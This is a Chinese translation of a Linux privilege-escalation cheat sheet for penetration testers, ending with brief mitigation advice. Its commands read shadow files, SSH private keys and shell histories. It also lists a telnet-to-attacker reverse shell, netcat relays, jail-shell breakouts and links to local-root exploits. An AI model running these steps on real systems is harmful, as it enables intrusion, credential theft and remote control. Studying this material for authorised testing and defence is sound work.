介绍

新年有想做一个类似于国外的EFF组织的关于数字安全的一些内容，有英文不错的可以PM我进行协同翻译，没有工资哟就是纯公益行为。

希望本指南能为新手和想进一步学习没有关注到这些小细节的朋友提供良好的视角。

操作系统

什么发行版？什么版本？

cat /etc/issue
cat /etc/*-release
  cat /etc/lsb-release      # Debian based
  cat /etc/redhat-release   # Redhat based

内核版本多少? 是64-bit?

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

从环境变量可以得到什么?

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

有打印机吗？

lpstat -a

应用程序和服务

哪些服务正在运行？哪个服务有哪个用户权限？

ps aux
ps -ef
top
cat /etc/services

哪些服务由root运行*？这些服务可能有缺陷 - 可以再次审查！*

ps aux | grep root
ps -ef | grep root

安装了什么应用程序？版本多少？正在运行吗？

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

有服务设置配置错误？是否有（易受攻击的）插件？

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

有哪些任务计划？

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

有纯文本的用户名和/或密码吗?

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

通信与网络

系统有哪些网卡？它连接到另一个网络？

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

网络配置设置是什么？你能找到关于这个网络的服务吗？DHCP服务器？DNS服务器？网关？

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

还有哪些用户和主机正在与系统进行通信？

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

缓存是什么？IP和/或MAC地址

arp -e
route
/sbin/route -nee

数据包嗅探可能吗？可以看到什么？监听通信流

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

用法:

tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

你有shell吗？你能和系统交互吗？

nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # 在靶机上. 使用攻击者的IP!

http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

端口转发可能吗？重定向并与另一个视图的流量进行交互

注意：http : //www.boutell.com/rinetd/

注意：http：//www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

注意：http : //downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

注意：FPipe.exe -l [本地端口] -r [远程端口] -s [本地端口] [本地IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

注意：FPipe.exe -l [本地端口] -r [远程端口] -s [本地端口] [本地IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

注意：ssh - [L / R] [本地端口]：[远程ip]：[远程端口] [本地用户] @ [本地ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

注意：mknod backpipe p; nc -l -p [远程端口] <backpipe | nc [本地IP] [本地端口]>回油管

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe    # Port Relay

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

隧道可能吗？本地发送命令，远程

ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

重要信息和用户信息

你是谁？谁登录？谁已经登录？那里还有谁？谁可以做什么？

id
who
w
last
cat /etc/passwd | cut -d: -f1    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l

哪些敏感文件可以找到？

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

root和home目录有什么“有趣”的东西？如果可以访问

ls -ahlR /root/
ls -ahlR /home/

有没有密码？脚本，数据库，配置文件或日志文件？密码的默认路径和位置

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

用户在做什么？有纯文本密码吗？他们在编辑什么？

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

可以找到哪些用户信息？

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

可以找到私钥信息吗？

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

文件系统

哪些配置文件可以写入/ etc /？能够重新配置服务？

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

什么可以在/ var /中找到？

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

网站上的任何设置/文件（隐藏）？任何设置文件与数据库信息？

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

日志文件中是否有任何内容*（可以帮助“本地文件包括”！）*

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

注意: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
注意：http://www.thegeekstuff.com/2011/08/linux-var-log-files/

如果命令是有限的，你突破了“jail”shell？

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

如何挂载文件系统？

mount
df -h

有没有卸载的文件系统？

cat /etc/fstab

什么“高级Linux文件权限”被使用？Sticky bits，SUID和GUID*

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

哪里可以写入和执行？一些“常见”的地方：/ tmp，/ var / tmp，/ dev / shm

find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders

find / -perm -o x -type d 2>/dev/null     # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

有“问题”文件？可写的“无人”文件

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

准备和查找利用代码

什么开发工具/安装了什么编程语言/支持？

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

如何上传文件？

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

寻找漏洞利用代码

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

寻找更多关于漏洞利用的信息

http://www.cvedetails.com

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]

（快速）“常见”漏洞。预编译的二进制文件。使用风险自负

http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

缓解措施

上述任何信息是否容易找到？

试试吧！设置一个自动执行脚本和/或第三方的cron作业

系统是否完全修补？

内核，操作系统，所有应用程序，插件和Web服务

apt-get update && apt-get upgrade
yum update

服务是否以最低级别的特权运行？

例如，你需要以root身份运行MySQL吗？

脚本可以自动化？！

http://pentestmonkey.net/tools/unix-privesc-check/

https://github.com/mzet-/linux-exploit-suggester

http://labs.portcullis.co.uk/application/enum4linux/

http://bastille-linux.sourceforge.net

https://github.com/SecWiki/linux-kernel-exploits

其他（快速）指南和链接

列举

http://www.0daysecurity.com/penetration-testing/enumeration.html

http://www.microloft.co.uk/hacking/hacking3.htm

其他

http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf

http://pentest.cryptocity.net/files/operations/2009/post_exploitation_fall09.pdf

http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html

翻译自：https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/